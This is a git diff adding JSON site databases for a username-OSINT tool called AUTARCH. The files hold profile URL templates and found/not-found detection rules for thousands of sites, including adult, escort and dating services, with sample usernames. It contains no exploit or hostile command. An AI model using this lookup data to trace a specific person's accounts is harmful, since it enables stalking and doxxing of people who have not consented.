"", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "openclipart": { + "url": "https://openclipart.org/", + "type": "Socail", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "This artist does not exist", + "url": "https://openclipart.org/artist/%s", + "existUsername": "revzack", + "nonExistUsername": "revzackasd", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://openclipart.org/artist/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "thenextweb": { + "url": "https://thenextweb.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://thenextweb.com/author/%s", + "existUsername": "linnea", + "nonExistUsername": "linnea123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://thenextweb.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "theverge": { + "url": "https://www.theverge.com/", + "type": "Socail", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.theverge.com/authors/%s", + "existUsername": "", + "nonExistUsername": "", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.theverge.com/authors/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "engadget": { + "url": "https://www.engadget.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.engadget.com/about/editors/%s/", + "existUsername": "igor-bonifacic", + "nonExistUsername": "igor-bonifacicxx", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.engadget.com/about/editors/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "techcrunch": { + "url": "https://techcrunch.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://techcrunch.com/author/%s/", + "existUsername": "zack-whittaker", + "nonExistUsername": "zack-whittakerasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://techcrunch.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "kickstarter": { + "url": "https://www.kickstarter.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.kickstarter.com/profile/%s", + "existUsername": "microcosmpublishing", + "nonExistUsername": "microcosmpublishingasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.kickstarter.com/profile/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "freepik": { + "url": "https://www.freepik.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.freepik.com/author/%s", + "existUsername": "rawpixel-com", + "nonExistUsername": "rawpixel-comasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.freepik.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gettyimages": { + "url": "https://www.gettyimages.hk/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "返回結果為零", + "url": "https://www.gettyimages.hk/search/photographer?photographer=%s", + "existUsername": "Klaus Vedfelt", + "nonExistUsername": "Klaus Vedfeltaaa", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gettyimages.hk/search/photographer?photographer=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN-HK" + } + }, + + + "wikivoyage": { + "url": "https://en.wikivoyage.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://en.wikivoyage.org/wiki/User:%s", + "existUsername": "Veracious", + "nonExistUsername": "Veraciousasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://en.wikivoyage.org/wiki/User:%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "arstechnica": { + "url": "https://arstechnica.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://arstechnica.com/author/%s/", + "existUsername": "stephenclark", + "nonExistUsername": "stephenclarkasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://arstechnica.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "dribbble": { + "url": "https://dribbble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://dribbble.com/%s", + "existUsername": "odamastudio", + "nonExistUsername": "odamastudioxasd", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dribbble.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + } +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh.json new file mode 100644 index 0000000..3898586 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/dh.json @@ -0,0 +1,76365 @@ +{ + "project": "darkHal Security Group - AUTARCH", + "version": "1.1", + "description": "Master sites database for username OSINT with detection patterns", + "total_sites": 8701, + "stats": { + "by_category": { + "forum": 5214, + "other": 1467, + "social": 438, + "tech": 332, + "gaming": 299, + "wiki": 217, + "art": 192, + "adult": 179, + "news": 89, + "shopping": 63, + "finance": 55, + "music": 54, + "professional": 36, + "video": 22, + "dating": 20, + "health": 9, + "torrent": 7, + "sports": 5, + "food": 3 + }, + "by_source": { + "snoop": 4322, + "maigret": 2872, + "social_analyzer": 584, + "blackbird": 421, + "sherlock": 173, + "cupidcr4wl": 142, + "detectdee": 73, + "reveal_my_name": 66, + "nexfil": 48 + }, + "by_error_type": { + "message": 4371, + "status_code": 2938, + "redirection": 938, + "response_url": 150 + } + }, + "sources": [ + "snoop", + "maigret", + "social_analyzer", + "blackbird", + "sherlock", + "cupidcr4wl", + "detectdee", + "reveal_my_name", + "nexfil" + ], + "categories": [ + "forum", + "other", + "social", + "tech", + "gaming", + "wiki", + "art", + "adult", + "news", + "shopping", + "finance", + "music", + "professional", + "video", + "dating", + "health", + "torrent", + "sports", + "food" + ], + "detection_fields": { + "error_type": "Detection method: status_code, message, response_url", + "error_code": "HTTP status code expected when user NOT found (e.g., 404)", + "error_string": "String present in response when user NOT found", + "match_code": "HTTP status code expected when user IS found (e.g., 200)", + "match_string": "String present in response when user IS found" + }, + "sites": [ + { + "name": "0-3.RU", + "url": "http://0-3.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "0k.clan.su", + "url": "http://0k.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "0x00sec", + "url": "https://0x00sec.org/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "0xffff", + "url": "https://0xffff.one/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "1001facts.ru", + "url": "http://1001facts.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1001mem.ru", + "url": "http://1001mem.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u042d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d." + }, + { + "name": "1001tracklists", + "url": "https://www.1001tracklists.com/user/{}/index.html", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, the requested user is not valid!", + "match_string": "Info Page" + }, + { + "name": "101010.pl", + "url": "https://101010.pl/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "101vzvod.ucoz.ru", + "url": "http://101vzvod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "101xp.com", + "url": "https://forum-ru.101xp.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "11x2", + "url": "https://11x2.com/user/home/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "123rf", + "url": "https://ru.123rf.com/profile_{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "1337x", + "url": "https://1337x.to/user/{}/", + "category": "torrent", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Bad Username.", + "match_string": "Join Date" + }, + { + "name": "1337x", + "url": "https://www.1337x.to/user/{}/", + "category": "torrent", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Error something went wrong." + }, + { + "name": "1337x", + "url": "http://1337x.to/user/{}/", + "category": "torrent", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error something went wrong" + }, + { + "name": "162nord.org", + "url": "http://162nord.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1911forum", + "url": "https://www.1911forum.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "1Baiser", + "url": "https://en.1baiser.com/search?q={}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "No results were found", + "match_string": "Model " + }, + { + "name": "1klas.3dn.ru", + "url": "http://1klas.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1point3acres", + "url": "https://www.1point3acres.com/bbs/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "1x", + "url": "https://1x.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "1x.com \u2022 In Pursuit of the Sublime", + "match_string": " onload=" + }, + { + "name": "1xforum", + "url": "https://1xforum.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "21buttons", + "url": "https://www.21buttons.com/buttoner/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not-found__main", + "match_string": "profile-info" + }, + { + "name": "23hq", + "url": "http://www.23hq.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "my-modal", + "match_string": "frame" + }, + { + "name": "24", + "url": "https://24.wikia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "247CTF", + "url": "https://247ctf.com/progress/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "

Redirecting...

", + "match_code": 200, + "match_string": "property=\"og:url\"" + }, + { + "name": "247sports", + "url": "https://247sports.com/user/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "247sports", + "url": "https://247sports.com/User/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "247Sports", + "match_code": 200, + "match_string": "3DMir.ru - ", + "match_string": "
" + }, + { + "name": "3dnews", + "url": "http://forum.3dnews.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "3DNews", + "url": "https://forum.3dnews.tech/member.php?username={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d", + "match_code": 200, + "match_string": "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + }, + { + "name": "3DNews", + "url": "http://forum.3dnews.ru/member.php?username={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "match_code": 200, + "match_string": "\u0424\u043e\u0440\u0443\u043c 3DNews - \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + }, + { + "name": "3dtoday", + "url": "https://3dtoday.ru/blogs/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "3glaz.org", + "url": "http://3glaz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "3rm", + "url": "https://3rm.info/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "42km", + "url": "http://www.42km.ru/c?name={}&x=0&y=0&country_id=1&town_id=0&sex=0&grade_id=0", + "category": "sports", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "4399", + "url": "https://ptlogin.4399.com/ptlogin/isExist.do?username={}&appId=u4399®Mode=reg_normal&v=2", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "440101.3dn.ru", + "url": "http://440101.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4948.ru", + "url": "http://4948.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4allforum", + "url": "https://4allforum.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "4cheat", + "url": "https://4cheat.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4gameforum", + "url": "https://4gameforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4gameforum", + "url": "https://4gameforum.com/members/?username={}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "
" + }, + { + "name": "4pda", + "url": "https://4pda.ru/forum/index.php?act=search&source=pst&noform=1&username={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "4pda", + "url": "https://4pda.to/forum/index.php?act=search&source=pst&noform=1&username={}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "4stor", + "url": "https://4stor.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4x4_tomsk", + "url": "http://4x4.tomsk.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "500px", + "url": "https://500px.com/p/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No message available" + }, + { + "name": "50cc.com.ua", + "url": "http://50cc.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "52pojie", + "url": "https://www.52pojie.cn/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username={}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "5escorts", + "url": "https://www.5escorts.com/search/?keyword={}&category=ads", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Could not find what you were looking for?", + "match_string": "/ads/details/" + }, + { + "name": "5i8.ucoz.ru", + "url": "http://5i8.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "5level.ucoz.net", + "url": "http://5level.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "63148.com.ua", + "url": "http://63148.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "655iap.ucoz.ru", + "url": "http://655iap.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "74507.ucoz.ru", + "url": "http://74507.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "78-3.do.am", + "url": "http://78-3.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7Cups", + "url": "https://www.7cups.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7Cups", + "url": "https://7cups.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "Profile - 7 Cups" + }, + { + "name": "7dach", + "url": "https://7dach.ru/profile/{}", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7x.net.ua", + "url": "http://7x.net.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7ya", + "url": "https://blog.7ya.ru/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "8tracks.com", + "url": "https://8tracks.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page has vanished, or perhaps it never even existed...", + "match_string": "Following" + }, + { + "name": "90sec", + "url": "https://forum.90sec.com/u/check_username?username={}&email=", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "96.moy.su", + "url": "http://96.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "999.md", + "url": "https://999.md/ru/profile/{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-404-page", + "match_string": "user-profile" + }, + { + "name": "99designs.com", + "url": "https://99designs.com/profiles/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "mobile-only", + "match_string": "profileUrl" + }, + { + "name": "9GAG", + "url": "https://www.9gag.com/u/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "9Gag", + "url": "https://9gag.com/u/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "There's nothing here", + "match_string": "og:title" + }, + { + "name": "9interi.3dn.ru", + "url": "http://9interi.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aaha_chat", + "url": "https://www.aahachat.org/profile/{}/", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "Aaha Chat Rooms - ", + "match_code": 200, + "match_string": "og:title" + }, + { + "name": "Aahachat", + "url": "https://aahachat.org/profile/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "full-profile" + }, + { + "name": "Aback", + "url": "https://aback.com.ua/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + }, + { + "name": "abc-accounting.ucoz.net", + "url": "http://abc-accounting.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "abho.ru", + "url": "http://abho.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Abirvalg", + "url": "https://abirvalg.net/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Able2know", + "url": "https://able2know.org/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Abordazh", + "url": "https://abordazh.com/forum/users/?PAGE_NAME=user_list&user_name={}&date_last_visit1=&date_last_visit2=&sort=NUM_POSTS&set_filter=%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "</script>\n<script>\nvar bx_basketT0kNhm" + }, + { + "name": "About.me", + "url": "https://about.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aboutcar", + "url": "http://aboutcar.ru/members/{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "AboutUS", + "url": "https://aboutus.com/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered" + }, + { + "name": "Academia.edu", + "url": "https://independent.academia.edu/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "accounts.eclipse.org", + "url": "https://accounts.eclipse.org/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ACF", + "url": "https://support.advancedcustomfields.com/forums/users/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Page Not Found", + "match_code": 200, + "match_string": "<title>ACF Support" + }, + { + "name": "Acomics", + "url": "https://acomics.ru/-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "actikom.ucoz.ru", + "url": "http://actikom.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "actual-porn.org", + "url": "http://actual-porn.org/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "adblockplus.org", + "url": "https://adblockplus.org/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found.", + "match_string": "searchresults" + }, + { + "name": "admin-soft.ucoz.ru", + "url": "http://admin-soft.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AdmireMe.Vip", + "url": "https://admireme.vip/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "AdmireMe.VIP", + "url": "https://admireme.vip/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page Not Found |", + "match_code": 200, + "match_string": "creator-stat subscriber" + }, + { + "name": "Adore", + "url": "https://adore.one/en/users/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-images" + }, + { + "name": "Adult Look (International)", + "url": "https://www.adultlook.com/search/?query={}&rq={}&advanced=1", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "No results found to show", + "match_string": "results found</span>" + }, + { + "name": "Adult_Forum", + "url": "https://adultforum.gr/{}-glamour-escorts/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - Adult Forum Gr", + "match_code": 200, + "match_string": "Glamour Escorts " + }, + { + "name": "Adultdvdtalk", + "url": "https://www.adultdvdtalk.com/profile/{}", + "category": "adult", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AdultFriendFinder", + "url": "https://adultfriendfinder.com/profile/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<select name=\"REG_sex\" >" + }, + { + "name": "Adultism", + "url": "https://adultism.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "\"nick\"" + }, + { + "name": "AdvancedCustomFields", + "url": "https://support.advancedcustomfields.com/forums/users/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, page not found" + }, + { + "name": "Advego", + "url": "https://advego.com/profile/{}/author/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ADVFN", + "url": "https://uk.advfn.com/forum/profile/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "ADVFN ERROR - Page Not Found", + "match_code": 200, + "match_string": "Profile | ADVFN" + }, + { + "name": "Aelita", + "url": "http://iaelita.ru/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aetherhub", + "url": "https://aetherhub.com/User/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Affiliatefix", + "url": "https://www.affiliatefix.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Affiliatefix", + "url": "https://www.affiliatefix.com/members/?username={}", + "category": "social", + "source": "snoop", + "nsfw": false, + 